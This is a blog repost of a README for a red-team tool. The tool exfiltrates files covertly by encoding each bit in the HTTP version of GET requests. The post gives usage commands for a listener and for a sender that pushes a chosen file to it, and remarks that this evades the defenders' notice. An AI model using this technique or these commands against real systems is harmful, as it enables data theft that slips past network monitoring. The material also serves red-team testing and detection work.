Linchakin

Http-Protocol-Exfil - Exfiltrate Files Using The HTTP Protocol Version ("HTTP/1.0" Is A 0 And "HTTP/1.1" Is A 1)

 October 29, 2021     No comments   

Use the HTTP protocol version to send a file bit by bit ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).

Create listener

To run the listener use listener.py with one optional argument: the port it will be listening in.

python3 listener.py [PORT]

Example:

python3 listener.py 8080

Send a file

To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).

python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

Example:

python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Example

First the file is sent:

If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:

The new file is created with the content of the input file:

Motivation

I think (I am not sure) I read someone on Twitter who claimed to have used this to exfiltrate data and I liked the idea, if you are that person let me know.

Adblock test (Why?)


You may be interested in:
>> Is a Chromebook worth replacing a Windows laptop?
>> Find out in detail the outstanding features of Google Pixel 4a
>> Top 7 best earbuds you should not miss

Related Posts:
>> Recognizing 12 Basic Body Shapes To Choose Better Clothes
>>Ranking the 10 most used smart technology devices
>> Top 5+ Best E-readers: Compact & Convenient Pen
  • Share This:  
  •  Facebook
  •  Twitter
  •  Google+
  •  Stumble
  •  Digg
Email ThisBlogThis!Share to XShare to Facebook

Related Posts:

  • Lack of Engineers & Pandemic Slow Production Shift from China to VietnamByAnton Shilov Apple and Google have troubles transferring production from Chi...Vietnam has long been considered the next major production base as companies want to diversify their supply chains to lower reliance on China. Yet, be… Read More
  • AuraBorealisApp - Do You Know What's In Your Python Packages? A Tool For Visualizing Python Package Registry Security Audit Data AuraBorealis is a web application for visualizing anomalous and potentially malicious code in Python package registries. It uses security audit data … Read More
  • GoLogin vs MultiLogin vs VMLogin – What’s the Anti-Detect Browsers Difference? A web browser is a door to the Global Network, allows to surf through different resources, obtain all required information, watch films, earn money, … Read More
  • Lexar Lights Up Gaming PCs With New Hades RGB DDR4 RAMByZhiye Liu Lexar expands its growing memory portfolio with new Hades and Hades RGB memory kits.Lexar has launched the a new series of DDR4 memory kits to compete with the best RAM on the market. The Hades lineup, which is available in both RGB a… Read More
  • Raspberry Pi Marine-Based Network Rig Adds WiFi to Your BoatByAsh Hill Zoomerli has created a marine-ready network rig to add WiFi support to their bo... The Raspberry Pi is a notably flexible device but every now and then we stumble across a project that reminds us of just how useful it really is. Tak… Read More
Newer Post Older Post Home

0 Comments:

Post a Comment


Copyright © 2025 Linchakin | Powered by Blogger
Design by Hardeep Asrani | Blogger Theme by NewBloggerThemes.com | Distributed By Gooyaabi Templates